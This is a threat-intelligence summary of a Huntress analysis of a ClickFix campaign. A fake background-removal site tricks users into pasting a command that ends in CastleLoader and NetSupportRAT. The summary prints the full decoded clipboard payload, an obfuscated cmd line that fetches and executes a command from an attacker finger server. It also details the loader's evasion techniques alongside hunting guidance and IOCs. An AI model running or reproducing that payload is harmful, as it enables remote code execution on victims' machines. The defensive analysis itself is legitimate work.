ClickFix Removes Your Background but Leaves the Malware
Huntress analyzes a 'BackgroundFix' ClickFix campaign where a fake background-removal website tricks victims into copying and running a malicious clipboard payload via the classic 'verify you're human' lure. The payload abuses finger.exe to fetch a command from an attacker-controlled finger daemon, which leads to a bring-your-own-interpreter chain using a legitimate Python embeddable distribution to ultimately load CastleLoader and drop NetSupportRAT via a multi-stage Python/shellcode loader with API hashing (djb2) and Cyrillic character substitution evasion.
What it is
A detailed breakdown of the "BackgroundFix" ClickFix chain (Huntress, with Sarah Reddish) that ends in CastleLoader → NetSupportRAT. It goes beyond the summary by giving the actual clipboard payload, the exact evasion techniques, and named IOCs/detection surfaces an engineer can hunt on.
How it works
The fake background-remover copies a command to the clipboard via document.execCommand("copy") and fires a navigator.sendBeacon to log-checkbox.php so the operator gets telemetry on who reached the paste step. The decoded clipboard payload:
%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- 'start "" /min launches the next stage minimized (no visible window). finger.exe — shipped with Windows since NT — queries the attacker's finger daemon; skip=8 drops the protocol banner and call %h executes line nine (delivered via the daemon's ~/.plan file).
The batch stage uses randomized variable names and renames the Python binary to <%RANDOM%><%RANDOM%>.exe. It kills/restarts explorer.exe, then curl.exe downloads the legitimate python.org embeddable distribution saved with a .pdf extension, extracted with tar.exe (bring-your-own-interpreter). The Python wrapper unpacks in three layers (base64 → zlib → UTF-32), disables TLS validation, fetches hxxps://trindastal[.]com/.../loc8, and exec()s it. That payload undoes a Cyrillic-to-Latin substitution before base64 decode, yielding a ctypes shellcode loader: XOR-decrypts with a 16-byte repeating key, allocates an executable heap (HeapCreate 0x00040000 / HeapAlloc 0x00000008), and calls it via CFUNCTYPE.
The shellcode resolves APIs by djb2 hash (init 5381, ×33), reading the target hash from the upper 32 bits of the return address — each call site pushes a 64-bit literal with sentinel 0xFFFFFFFF low, hash high — and does a PEB InLoadOrderModuleList walk.
What to do
- Hunt for
finger.exespawned bycmd.exe— near-zero legitimate use on modern Windows; this is the chain's chokepoint. - Flag
curl.exefetching frompython.organd saving.pdf, followed bytar.exeextraction and a randomly-named.exerunning Python. - Pivot on the C2/lure domains:
cheeshomireciple[.]com(finger),trindastal[.]com. Huntress used Validin to enumerate more same-template domains; check the post's IOC section for the full list.
Caveats
Uploaded images are never processed or exfiltrated — the site is purely a delivery lure. The explorer.exe restart has no clear technical purpose ("maybe the operator just likes the theater"). The fetched text cuts off mid-analysis of the PEB walk; later shellcode stages and full IOCs are on the page.
Organisations named here
- ClickFix
Technologies named here
- Huntress
- Google Chrome and Chromium-family browsers
- Validin
- finger.exe
- Mozilla Firefox
- Discord
- curl.exe / tar.exe
- ReplaceTextW / comdlg32.dll
- Telegram
- Crypto wallet browser extensions
- NtAllocateVirtualMemory / NtUnmapViewOfSection
- Python
- CryptUnprotectData
- Restart Manager API
- WMI
- PowerShell
- Windows
Techniques named here
- ClickFix social engineering
- Clipboard hijacking via document.execCommand
- Telemetry beaconing via navigator.sendBeacon
- LOLBin abuse - finger.exe
- Minimized/hidden command window execution
- Fake file extension masquerading
- Bring-your-own-interpreter
- Multi-layer payload obfuscation
- Random variable/filename generation
- Process cosmetic disruption
- TLS certificate validation disabled
- ctypes shellcode loader
- XOR-encrypted shellcode
- API hashing
- Return-address hash smuggling
- PEB walk for module/export resolution
- RC4 payload encryption
- ReplaceTextW hook callback abuse
- Reflective PE loading
- Process hollowing / module stomping
- PEB manipulation to masquerade as main module
- String encryption
- Lazy DLL loading via LoadLibraryW to hide imports
- ChaCha20-encrypted C2 traffic
- User-Agent / body field fingerprinting artifact
- Single-instance mutex and install marker
- Multiple malware launch methods
- Scheduled Task persistence with logon trigger
- APC injection
- Custom string decryption
- Anti-analysis
- Anti-VM heuristic via GPU/screen resolution check
- Host fingerprinting and screenshot exfiltration
- Browser credential theft via DPAPI-then-AES
- IndexedDB walk for crypto wallet extension theft
- Telegram tdata session theft
- Restart Manager API abuse for locked file access
- Process hollowing into PowerShell
- Self-deletion via delayed ping
- AES-encrypted C2 protocol with session key exchange
Threat actors named here
- CastleLoader
- NetSupportRAT
- CastleStealer
Related in Threat Intel
Reverse Engineering the Six Stages of MacSync Stealer and RAT
AI-Coded Malware | Analyzing Vibe-Coded AD Enumeration | Huntress
